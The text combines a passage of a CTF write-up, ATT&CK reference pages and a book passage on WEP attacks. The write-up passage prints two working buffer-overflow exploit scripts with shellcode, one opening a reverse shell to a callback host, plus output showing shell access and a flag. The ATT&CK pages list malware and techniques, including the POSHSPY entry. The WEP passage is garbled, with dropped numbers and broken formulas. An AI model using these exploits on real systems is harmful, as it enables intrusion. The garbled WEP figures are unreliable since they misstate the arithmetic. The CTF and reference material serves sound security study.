(/lib/i386-linux-gnu/libc.so.6+0x18636) ==29809==ABORTING buffer located @ 0xf7a6712c overwritten We tried using that to find the libc version by searching for __libc_start_main_ret in libc database, but without luck. - Tried some basic return to libc type exploitation based on guessing the libc version from other challenges in the CTF. Once we figured out that we were exploiting the wrong server, we turned there. Exploit To exploit this server, I just need to put the shellcode at the address in the dump, and then jump to it with the address given to me by the research server. For shellcode, I grabbed this x86 dup2 system to reuse the connection. The exploit will: - Read the host and port from the command line. - Generate a random 20-character string uuid. - Connect to the host, register the new id, receive the response task for info, send the INFO response, and disconnect. - Sleep one second. - Connect to the host, send the ALIVE uuid message, and receive the response. - Send the overflow as PUSH [buffer], where buffer is 300 NOPs, shellcode, As to get to the return address, then the return address from the crash report. #!/usr/bin/env python import random import string import sys import time from pwn import * from itertools import cycle def encode(s): return bytes([(x^y) for x,y in zip(s,cycle(b'0202_NOCPRED'))]) def gen_cmd(s): return encode(s) + b"\r\n\r\n" #context.log_level = 'DEBUG' host = sys.argv[1] port = int(sys.argv[2]) shellcode = b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" uuid = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20)).encode() s = remote(host,port) s.send(gen_cmd(b"NEW " + uuid)) s.recvuntil('\r\n\r\n') s.send(gen_cmd(b"INFO TheCovidBotNet")) s.close() time.sleep(1) s = remote(host,port) s.send(gen_cmd(b"ALIVE " + uuid)) s.recvuntil('\r\n\r\n') buf = b"\x90"*300 + shellcode + b"A"*(228-len(shellcode)) + b"\x2c\xe1\xa8\xf7" s.send(gen_cmd(b'PUSH ' + buf)) s.sendline('id') s.interactive() This should be very reliable, but I find it isn’t at all on this server. I got it to work about 1 out of even 10 or 20 tries. But that was enough for me to grab the flag: root@kali# ./covid_pwn.py covidfunds.net [+] Opening connection to covidfunds.net on port 8888: Done [*] Closed connection to covidfunds.net port [+] Opening connection to covidfunds.net on port 8888: Done [*] Switching to interactive mode uid=1000(malware) gid=1000(malware) groups=1000(malware) $ ls bin boot config-scripts dev etc flag.txt home lib lib lib libx media mnt opt proc root run sbin srv sys thanks!.txt tmp usr var $ cat flag.txt covid{bIgGiGaNtIcSkIlLz} [Flag] Exploit2: covid{bIgGiGaNtIcSkIlLz} Exploit Better I had a hunch that the socket reuse shellcode was failing because it would be trying to dup2 the wrong fd. This can happen on a busy server. In talking with the event creators about the issues, we figured out that socket reuse was failing because the incoming socket is being shared across 9 C2 processes distributed across multiple servers by a loadbalancer. I had guessed there might be some complex networking going on when I saw the crash report indicated the incoming connection was from 172.31.32.50, which is a private IP, and must be in the threatsims network. The creators had intended us to use a reverse shell shellcode. They were nice enough to enable the C2 again so I could test an updated script, and grab a few details for this blog post. I setup my home network so that port 39223 was forwarded to my Kali VM on port 443, and updated my exploit: #!/usr/bin/env python import random import string import sys import time from pwn import * from itertools import cycle CALLBACK_DOMAIN = [REDACTED] CALLBACK_PORT = def encode(s): return bytes([(x^y) for x,y in zip(s,cycle(b'0202_NOCPRED'))]) def gen_cmd(s): return encode(s) + b"\r\n\r\n" addr = binascii.hexlify(socket.inet_aton(socket.gethostbyname(CALLBACK_DOMAIN))) port = int(CALLBACK_PORT).to_bytes(2, byteorder='big') uuid = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(20)).encode() shellcode = b"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0" shellcode += b"\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68" shellcode += binascii.unhexlify(addr) # <--- ip address shellcode += b"\x66\x68" shellcode += port # <--- tcp port shellcode += b"\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1" shellcode += b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; host = sys.argv[1] port = int(sys.argv[2]) log.info(f'Registering new uuid: {uuid}') s = remote(host,port) s.send(gen_cmd(b"NEW Ep5aD11k1d27b9ro3EF")) resp = encode(s.recvuntil('\r\n\r\n')[:-4]) print(resp) log.info('Sending INFO') s.send(gen_cmd(b"INFO TheCovidBotNet")) s.close() log.info('Sleeping for 1 second') time.sleep(1) s = remote(host,port) log.info('Sending ALIVE message') s.send(gen_cmd(b"ALIVE Ep5aD11k1d27b9ro3EF")) s.recvuntil('\r\n\r\n') log.info('Sending exploit PUSH response') buf = b"\x90"*300 + shellcode + b"A"*(228-len(shellcode)) + b"\x2c\xe1\xa8\xf7" s.send(gen_cmd(b'PUSH ' + buf)) s.close() l = listen(443) l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""") l.sendline(" export SHELL=bash") l.sendline(" export TERM=xterm") l.sendline(" stty rows 38 columns 116") l.sendline("id") l.interactive() This works must more reliably: root@kali# ./covid_pwn2.py covidfunds.net [+] Opening connection to covidfunds.net on port 8888: Done [*] Registering new uuid: b'G2wcKmuAQpg8voU4usCz' [*] Sending INFO [*] Closed connection to covidfunds.net port [*] Sleeping for 1 second [+] Opening connection to covidfunds.net on port 8888: Done [*] Sending ALIVE message [*] Sending exploit PUSH response [+] Trying to bind to 0.0.0.0 on port 443: Done [+] Waiting for connections on 0.0.0.0:443: Got connection from 34.200.253.58 on port [*] Closed connection to covidfunds.net port [*] Switching to interactive mode export SHELL=bash export TERM=xterm stty rows 38 columns id malware@b09d8a47b5a4:/$ export SHELL=bash malware@b09d8a47b5a4:/$ export TERM=xterm malware@b09d8a47b5a4:/$ stty rows 38 columns malware@b09d8a47b5a4:/$ id uid=1000(malware) gid=1000(malware) groups=1000(malware) malware@b09d8a47b5a4:/$ $ ls ls bin config-scripts etc home lib32 libx32 mnt proc run srv thanks!.txt usr boot dev flag.txt lib lib64 media opt root sbin sys tmp var Beyond Root - ltrace When the CTF was running, I used ltrace enough to find the strings as I showed above, and then moved to comparing those strings to the Wireshark capture. But in writing this up, I realized there was so much more information in the ltrace data that I didn’t use. Earlier, I worked through the ltrace up to the connection. It had just built the string, NEW I7J2ugBbp0Kukd61gdB\r\n\r\n and
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2020_05_04_covid-19-ctf-covidscammers.html.txt
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Currently viewing ATT&CK v13.1 which was live between April 25, 2023 and October 30, 2023. Learn more about the versioning system or see the live site. SOFTWARE Overview 3PARA RAT 4H RAT AADInternals ABK AbstractEmu ACAD/Medre.A Action RAT adbupd AdFind Adups ADVSTORESHELL Agent Smith Agent Tesla Agent.btz Allwinner Amadey Anchor Android/AdDisplay.Ashas Android/Chuli.A AndroidOS/MalLocker.B ANDROIDOS_ANSERVER.A AndroRAT Anubis AppleJeus AppleSeed Aria-body Arp Asacub ASPXSpy Astaroth at Attor AuditCred AuTo Stealer AutoIt backdoor Avaddon Avenger AvosLocker Azorult Babuk BabyShark BackConfig Backdoor.Oldrea BACKSPACE Bad Rabbit BADCALL BADFLICK BADNEWS BadPatch Bandook Bankshot Bazar BBK BBSRAT BendyBear BISCUIT Bisonal BitPaymer BITSAdmin Black Basta BlackCat BLACKCOFFEE BlackEnergy BlackMould BLINDINGCAN BloodHound BLUELIGHT Bonadan BONDUPDATER BoomBox BOOSTWRITE BOOTRASH BoxCaon BrainTest Brave Prince Bread Briba Brute Ratel C BS BUBBLEWRAP build_downer Bumblebee Bundlore BusyGasper Cachedump CaddyWiper Cadelspy CALENDAR Calisto CallMe Cannon Carbanak Carberp Carbon CarbonSteal Cardinal RAT CARROTBALL CARROTBAT Catchamas Caterpillar WebShell CCBkdr ccf Cerberus certutil Chaes Chaos Charger CharmPower ChChes CHEMISTGAMES Cherry Picker China Chopper Chinoxy CHOPSTICK Chrommme Circles Clambling Clop CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT Concipit Conficker ConnectWise Conti CookieMiner CORALDECK CORESHELL Corona Updates CosmicDuke CostaBricks CozyCar CrackMapExec CreepyDrive CreepySnail Crimson CrossRAT Crutch Cryptoistic CSPY Downloader Cuba Cyclops Blink Dacls DanBot DarkComet DarkTortilla DarkWatchman Daserf DCSrv DDKONG DEADEYE DealersChoice DEATHRANSOM DEFENSOR ID Dendroid Denis Derusbi Desert Scorpion Diavol Dipsind DnsSystem DOGCALL Dok Doki Donut DoubleAgent down_new Downdelph DownPaper DRATzarus DressCode Dridex Drinik DroidJack DropBook Drovorub dsquery Dtrack DualToy Duqu DustySky Dvmap Dyre Ebury ECCENTRICBANDWAGON Ecipekac Egregor EKANS Elise ELMER Emissary Emotet Empire EnvyScout Epic esentutl eSurv EventBot EvilBunny EvilGrab EVILNUM Exaramel for Linux Exaramel for Windows Exobot Exodus Expand Explosive FakeM FakeSpy FALLCHILL FatDuke Felismus FELIXROOT Ferocious Fgdump Final1stspy FinFisher FIVEHANDS Flagpro Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE FluBot FoggyWeb Forfiles FrameworkPOS FrozenCell FruitFly ftp FunnyDream FYAnti Fysbis Gazer Gelsemium GeminiDuke Get gh0st RAT Ginp GLOOXMAIL Gold Dragon Golden Cup GoldenEagle GoldenSpy GoldFinder GoldMax GolfSpy Gooligan Goopy GPlayed Grandoreiro GravityRAT Green Lambert GreyEnergy GRIFFON GrimAgent gsecdump GuLoader Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS Hancitor HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor HELLOKITTY Helminth HenBox HermeticWiper HermeticWizard Heyoka Backdoor Hi-Zor HiddenWasp HIDEDRV Hikit Hildegard HOMEFRY HOPLIGHT HotCroissant HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro HyperStack IceApple IcedID ifconfig iKitten Imminent Monitor Impacket INCONTROLLER Industroyer Industroyer InnaputRAT INSOMNIA InvisiMole Invoke-PSImage ipconfig IronNetInjector ISMInjector Ixeshe Janicab Javali JCry JHUHUGIT JPIN jRAT JSS Loader Judy KARAE Kasidet Kazuar Kerrdown Kessel Kevin KeyBoy Keydnap KEYMARBLE KEYPLUG KeyRaider KGH_SPY KillDisk Kinsing Kivars Koadic Kobalos KOCTOPUS Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LiteDuke LitePower Lizar LockerGoga LoJax Lokibot LookBack LoudMiner LOWBALL Lslsass Lucifer Lurid Machete MacMa macOS.OSAMiner MacSpy Mafalda MailSniper Mandrake Marcher MarkiRAT Matryoshka MazarBOT Maze MCMD MechaFlounder meek MegaCortex Melcoz MESSAGETAP metaMain Metamorfo Meteor Micropsia Milan Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder MoleNet Mongall Monokle MoonWind More_eggs Mori Mosquito MURKYTOP Mythic Naid NanHaiShu NanoCore NativeZone NavRAT NBTscan nbtstat NDiskMonitor Nebulae Neoichor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler Netwalker NETWIRE Ngrok Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD ObliqueRAT OceanSalt Octopus Okrum OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D Out OutSteel OwaAuth P.A.S. Webshell P2P ZeuS P8RAT Pallas Pandora Pasam Pass-The-Hash Toolkit Pay2Key PcShare Pegasus for Android Pegasus for iOS Peirates Penquin Peppy PHOREAL Pillowmint PinchDuke Ping PingPull PipeMon Pisloader PJApps PLAINTEE PLC-Blaster PLEAD PlugX pngdowner PoetRAT PoisonIvy PolyglotDuke Pony POORAIM PoshC POSHSPY Power Loader PowerDuke PowerLess PowerPunch PowerShower POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON PowGoop POWRUNER Prestige Prikormka ProLock Proton Proxysvc PS PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump PyDCrypt Pysa QakBot QUADAGENT QuasarRAT QuietSieve Ragnar Locker Raindrop RainyDay Ramsay RARSTONE RATANKBA RawDisk RawPOS Rclone RCSAndroid RCSession RDAT RDFSNIFFER Reaver Red Alert 2. RedDrop RedLeaves Reg RegDuke Regin Remcos Remexi RemoteCMD RemoteUtilities Remsec Responder Revenge RAT REvil RGDoor Rifdoor Riltok RIPTIDE Rising Sun ROADTools RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover Royal RTM Rubeus Ruler RuMMS RunningRAT Ryuk S-Type S.O.V.A. Saint Bot Sakula SamSam schtasks SDBbot SDelete SeaDuke Seasalt SEASHARPEE ServHelper Seth-Locker ShadowPad Shamoon Shark SharkBot SharpStage SHARPSTATS ShiftyBug ShimRat ShimRatReporter SHIPSHAPE SHOTPUT SHUTTERSPEED Sibot SideTwist SILENTTRINITY SilkBean Siloscape SimBad Skeleton Key Skidmap Skygofree Sliver SLOTHFULMEDIA SLOWDRIFT Small Sieve Smoke Loader SMOKEDHAM SNUGRIDE Socksbot SodaMaster SombRAT SoreFang SOUNDBITE SPACESHIP Spark SpeakUp SpicyOmelette spwebmember SpyDealer SpyNote RAT sqlmap SQLRat Squirrelwaffle SslMM Starloader STARWHALE Stealth Mango StoneDrill StreamEx StrifeWater StrongPity Stuxnet SUGARDUMP SUGARUSH SUNBURST SUNSPOT SUPERNOVA SVCReady Sykipot SynAck SYNful Knock Sys SYSCON Systeminfo SysUpdate T Taidoor TAINTEDSCRIBE TajMahal Tangelo TangleBot Tarrask Tasklist TDTESS TEARDROP TERRACOTTA TEXTMATE ThiefQuest ThreatNeedle TianySpy Tiktok Pro TinyTurla TINYTYPHON TinyZBot Tomiris Tor Torisma TrailBlazer Triada TrickBot TrickMo Triton Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TSCookie Turian TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBferry USBStealer Valak VaporRage Vasport VBShower VERMIN ViceLeaker ViperRAT Volgmer VPNFilter WannaCry WarzoneRAT WastedLocker Waterbear WEBC WellMail WellMess Wevtutil WhisperGate Wiarp Windows Credential Editor WINDSHIELD WindTail WINERACK Winexe Wingbird WinMM Winnti for Linux Winnti for Windows Wiper WireLurker WolfRAT Woody RAT X-Agent for Android XAgentOSX Xbash Xbot xCaon xCmd XcodeGhost XCSSET XLoader for Android XLoader for iOS XTunnel YAHOYAH YiSpecter yty Zebrocy Zen ZergHelper Zeroaccess ZeroT Zeus Panda ZLib Zox zwShell ZxShell ZxxZ - Home - Software - POSHSPY POSHSPY POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. [1] ID: S ⓘ Type: MALWARE ⓘ Platforms: Windows Version: 1. Created: 14 December Last Modified: 30 March Version Permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Command and Scripting Interpreter: PowerShell POSHSPY uses PowerShell to execute various commands, one to execute its payload.[1] Enterprise T Data Transfer Size Limits POSHSPY uploads data in 2048-byte chunks.[1] Enterprise T . Dynamic Resolution: Domain Generation Algorithms POSHSPY uses a DGA to derive command and control URLs from a word list.[1] Enterprise T . Encrypted Channel: Asymmetric Cryptography POSHSPY encrypts C2 traffic with AES and RSA.[1] Enterprise T . Event Triggered Execution: Windows Management Instrumentation Event Subscription POSHSPY uses a WMI event subscription to establish persistence.[1] Enterprise T . Indicator Removal: Timestomp POSHSPY modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.[1] Enterprise T Ingress Tool Transfer POSHSPY downloads and executes additional PowerShell code and Windows binaries.[1] Enterprise T Obfuscated Files or Information POSHSPY appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.[1] Groups That Use This Software ID Name References G APT [1] References - Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017. × load more results
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versions_v13_software_S0150.txt
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Currently viewing ATT&CK v8.2 which was live between October 27, 2020 and April 28, 2021. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Business Relationships Determine Physical Locations Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases WHOIS DNS/Passive DNS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript/JScript Network Device CLI Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Systemd Timers Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Windows Management Instrumentation Persistence Account Manipulation Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys Additional Cloud Credentials BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script Rc.common Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription .bash_profile and .bashrc Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking COR_PROFILER Implant Container Image Office Application Startup Add-ins Office Template Macros Outlook Forms Outlook Rules Outlook Home Page Office Test Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Systemd Timers Server Software Component SQL Stored Procedures Transport Agent Web Shell Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script Rc.common Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription .bash_profile and .bashrc Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Doppelgänging Process Hollowing VDSO Hijacking Scheduled Task/Job At (Windows) Scheduled Task At (Linux) Launchd Cron Systemd Timers Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Deobfuscate/Decode Files or Information Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow Services File Permissions Weakness Executable Installer File Permissions Weakness Services Registry Permissions Weakness Path Interception by Unquoted Path Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking DLL Search Order Hijacking DLL Side-Loading LD_PRELOAD Dylib Hijacking COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Doppelgänging Process Hollowing VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Rundll Compiled HTML File Control Panel CMSTP InstallUtil Mshta Regsvcs/Regasm Regsvr Msiexec Odbcconf Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Pass the Hash Pass the Ticket Application Access Token Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS DCSync Proc Filesystem /etc/passwd and /etc/shadow Cached Domain Credentials LSA Secrets Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Domain Groups Cloud Groups Local Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material
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versions_v8_techniques_T1133.txt
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there are several problems with the cryptographic protocol itself. Some of these problems stem from the use of CRC32 as a checksum function for message integrity, and other problems stem from the way IVs are used. Offline BruteForce Attacks Brute forcing will always be a possible attack on any computationally secure cryptosystem. The only question that remains is whether it's a practical attack or not. With WEP, the actual method of offline brute forcing is simple: Capture a few packets, then try to decrypt the packets using every possible key. Next, recalculate the checksum for the packet, and compare this with the original checksum. If they match, then that's most likely the key. Usually, this needs to be done with at least two packets, since it's likely that a single packet can be decrypted with an invalid key yet the checksum will still be valid. However, under the assumption of 10,000 cracks per second, brute forcing through the 40-bit keyspace would take over three years. Realistically, modern processors can achieve more than 10,000 cracks per second, but even at 200, cracks per second, this would take a few months. Depending on the resources and dedication of an attacker, this type of attack may or may not be feasible. Tim Newsham has provided an effective cracking method that attacks weaknesses in the password-based key-generation algorithm that is used by most 40-bit (marketed as 64-bit) cards and access points. His method effectively reduces the 40-bit keyspace down to 21 bits, which can be cracked in a matter of minutes under the assumption of 10,000 cracks per second (and in a matter of seconds on a modern processor). More information on his methods can be found at http://www.lava.net/~newsham/wlan . For 104-bit (marketed as 128-bit) WEP networks, bruteforcing just isn't feasible. Keystream Reuse Another potential problem with WEP lies in keystream reuse. If two plaintexts (P ) are XORed with the same keystream to produce two separate ciphertexts (C), XORing those ciphertexts together will cancel out the keystream, resulting in the two plaintexts XORed with each other. Ci = Pi © RC4(seed) C'2 - P'2 ® RC4(seed) Ci © C 2 = [Pi ® RC4(seed)] ® [P 2 ® RC4(seed)] = Pi ® ? From here, if one of the plaintexts is known, the other one can easily be recovered. In addition, since the plaintexts in this case are Internet packets with a known and fairly predictable structure, various techniques can be employed to recover both original plaintexts. The IV is intended to prevent these types of attacks; without it, every packet would be encrypted with the same keystream. If a different IV is used for each packet, the keystreams for packets will also be different. However, if the same IV is reused, both packets will be encrypted with the same keystream. This is a condition that is easy to detect, since the I Vs are included in plaintext in the encrypted packets. Moreover, the IVs used for WEP are only 24 bits in length, which nearly guarantees that IVs will be reused. Assuming that IVs are chosen at random, statistically there should be a case of keystream reuse after just 5, packets. This number seems surprisingly small due to a counterintuitive probabilistic phenomenon known as the birthday paradox. This paradox states that if people are in the same room, two of these people should share a birthday. With 23 people, there are (23 • 22) 2, or 253, possible pairs. Each pair has a probability of success of 1365, or about 0.27 percent, which corresponds to a probability of failure of 1 - (1 / 365), or about 99.726 percent. By raising this probability to the power of 253, the overall probability of failure is shown to be about 49.95 percent, meaning that the probability of success is just a little over 50 percent. This works the same way with IV collisions. With 5,000 packets, there are ( • 4999) / 2, or 12,497,500, possible pairs. Each pair has a probability of failure of 1 - (1 / 2 24 ). When this is raised to the power of the number of possible pairs, the overall probability of failure is about 47.5 percent, meaning that there's a 52. percent chance of an IV collision with 5,000 packets: -O-a) 5. OIK) = 52.5 X F After an IV collision is discovered, some educated guesses about the structure of the plaintexts can be used to reveal the original plaintexts by XORing the two ciphertexts together. Also, if one of the plaintexts is known, the other plaintext can be recovered with a simple XORing. One method of obtaining known plaintexts might be through spam email, where the attacker sends the spam and the victim checks mail over the encrypted wireless connection. IV-Based Decryption Dictionary Tables After plaintexts are recovered for an intercepted message, the keystream for that IV will also be known. This means that this keystream can be used to decrypt any other packet with the same IV, providing it's not longer than the recovered keystream. Over time, it's possible to create a table of keystreams indexed by every possible IV. Since there are only 2 24 possible IVs, if 1,500 bytes of keystream are saved for each IV, the table would only require about 24GB of storage. Once a table like this is created, all subsequent encrypted packets can be easily decrypted. Realistically, this method of attack would be very time consuming and tedious. It's an interesting idea, but there are much easier ways to defeat WER IP Redirection Another way to decrypt encrypted packets is to trick the access point into doing all the work. Usually, wireless access points have some form of Internet connectivity, and if this is the case, an IP redirection attack is possible. First, an encrypted packet is captured, and the destination address is changed to an IP address the attacker controls, without decrypting the packet. Then, the modified packet is sent back to the wireless access point, which will decrypt the 